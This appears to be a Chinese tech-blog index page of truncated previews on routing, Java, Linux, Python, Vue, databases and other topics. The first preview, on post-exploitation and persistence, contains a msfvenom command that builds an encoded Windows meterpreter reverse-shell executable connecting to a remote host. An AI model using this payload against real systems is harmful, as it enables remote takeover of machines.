● 已经获得目标系统控制权后扩大战果 ○ 提权 ○ 信息收集 ○ 渗透内网 ○ 永久后门 ● 基于已有session扩大战果 msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST1.1.1.1 LPORT4444 -b "\x00"-e x86/shikata_ga_nai -f exe -o 1.ex…

重发布-路由策略实验2(1.8)

目标: 1、首先对每个路由器进行接口ip的配置 r1: [r1]interface GigabitEthernet 0/0/0 [r1-GigabitEthernet0/0/0]ip add 12.1.1.1 24 [r1-GigabitEthernet0/0/0]int gi 0/0/1 [r1-GigabitEthernet0/0/1]ip add 13.1.1.1 24 [r1-GigabitEthernet0/0/1…

LinkedList与单向链表(二)(双向链表)

1.ListedList的模拟实现package Demo1;/*** Describe:双向链表的简单模拟实现* User:lenovo* Date:2023-01-08* Time:11:20*/ class Node {int val;Node prev;Node next;public Node(int val) {this.val val;}public Node() {} } public class MyLinkedList {Node first;Node …

Linux--权限

一、目录权限 文件的权限描述符,由10个字母组成 如下图所示,可以按照1-3-3-3的结构划分,用rwx表示拥有权限,r代表read(可读),w代表write(可写),x代表execut…

Python高阶技巧(十二)

python学习之旅(十二) 👍查看更多可以关注查看首页或点击下方专栏目录 一.闭包 可以保存函数内变量,不会随着函数调用完而销毁 (1) 基本定义 在函数嵌套的前提下,内部函数使用了外部函数的变量,并且外部函数返回了内部函数&#x…

万字长文,带你从0到1的了解商业智能BI

借助互联网技术的发展,每天我们都会接触到大量的信息,信息的增长速度可以说是海啸级的。在这样一个信息爆炸的时代,掌握怎样利用数据就相当于掌握了一项生存技能,很多可以发掘并充分利用数据的企业会发现自己远远领先于竞争对手。…

Android 反编译初探-基础篇

前言 本文目标: 工具:介绍反编译需要用到的工具原理:反编译基本原理实践:替换一个未混淆&未加固apk的启动页面 工具 1.Android Studio 版本:Android Studio Dolphin | 2021.3.1 Patch 1 2.Jadx Class Decomp…

go 数组(array)和切片(slice)

文章目录数组ArraySlice 切片appendcopy(切片复制)goto数组Array 和以往的数组有很大的不同 数组时值类型,复制和传参会复制整个数组,而不是指针数组长度必须是常量,且是类型的组成部分。[2]int和[3]int是不同的数据…

Vue中Vue.use()的原理及基本使用

目录 🔥 前言 1. 举例理解 2. 源码分析 🔥 小结 相信很多人在用Vue使用别人的组件时,会用到 Vue.use() ,例如:Vue.use(VueRouter)、Vue.use(MintUI),这篇文章主要给大家介绍了关于Vue中Vue.use()的原理及基本使用的相关资料&a…

Mysql索据-Mysql的innodb引擎为什么要使用b+tree作为索引数据结构?

目录 索引? 什么是索引?索引有什么优点?索引有什么缺点? 索引的分类 按照功能分类: 按照数据结构分类 相关数据结构(b-tree、btree) b-tree btree b-tree和btree的区别 为什么Innodb要…

65. 锚框的代码实现

目标检测算法通常会在输入图像中采样大量的区域,然后判断这些区域中是否包含我们感兴趣的目标,并调整区域边界从而更准确地预测目标的真实边界框(ground-truth bounding box)。 不同的模型使用的区域采样方法可能不同。 这里我们…

TiDB学习笔记(八)-数据库故障处理

一、数据丢失快速恢复 数据恢复前置条件-GC,tidb_gc_life_time 查询GC已经清理的时间点tikv_gc_safe_point 数据快速恢复操作方式 DML->tidb_snapshot参数 (在tikv_gc_safe_point范围内) DDL->flashback table/recover table (flas…

AIGC与搜索深度融合,百度定义“生成式搜索”

设想一下,当你搜索“公司活动通知怎么写”时,搜索引擎直接“写”了一篇送到眼前是什么体验?百度的“生成式搜索”正在让这样的场景成为现实。日前,百度宣布,百度搜索将升级“生成式搜索”能力,基于百度自研…

项目管理工具dhtmlxGantt甘特图入门教程(七):在服务器上使用甘特图

dhtmlxGantt是用于跨浏览器和跨平台应用程序的功能齐全的Gantt图表,可满足项目管理控件应用程序的所有需求,是最完善的甘特图图表库。 这篇文章给大家讲解如何在服务器上使用DHTMLX Gantt 。 DhtmlxGantt正版试用下载(qun:764…

Cadence PCB仿真使用Allegro PCB SI元器件类别设置为IO,IC和Discrete的方法图文教程

⏪《上一篇》   🏡《总目录》   ⏩《下一篇》 目录 1,概述2,配置方法3,总结1,概述 本文简单介绍使用Allegro PCB SI软件配置电压地网络电压的方法。 2,配置方法 第1步:打开待仿真的PCB文件,并确认软件为Allegro PCB SI 如果,打开软件不是Allegro PCB SI则可这样…

ElementUI源码系列一-完整引入和按需引入

前言 本篇将介绍,ElementUI 是如何实现完整引入和按需引入的。 完整引入 官网使用 源码步骤 src/index.js 通过对外暴露 install(),让主项目通过 Vue.use(ElementUI) 引入,还需单独引入样式 import element-ui/lib/theme-chalk/index.c…